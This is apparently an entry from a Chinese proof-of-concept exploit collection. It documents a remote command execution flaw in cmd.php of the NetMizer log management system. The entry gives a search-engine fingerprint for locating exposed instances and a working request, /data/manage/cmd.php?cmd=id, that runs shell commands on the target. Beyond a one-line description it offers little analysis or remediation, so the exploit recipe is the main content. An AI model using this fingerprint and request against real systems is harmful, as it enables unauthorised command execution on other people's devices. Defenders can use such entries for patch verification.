Awesome-POC/网络设备漏洞/NetMizer 日志管理系统 cmd.php 远程命令执行漏洞.md

# NetMizer 日志管理系统 cmd.php 远程命令执行漏洞

## 漏洞描述

NetMizer 日志管理系统 cmd.php中存在远程命令执行漏洞，攻击者通过传入 cmd参数即可命令执行

## 漏洞影响

```
NetMizer 日志管理系统
```

## 网络测绘

```
title="NetMizer 日志管理系统"
```

## 漏洞复现

登录页面

![image-20220519175506872](./images/202205191755197.png)

验证POC

```
/data/manage/cmd.php?cmd=id
```

![image-20220519175604237](./images/202205191756275.png)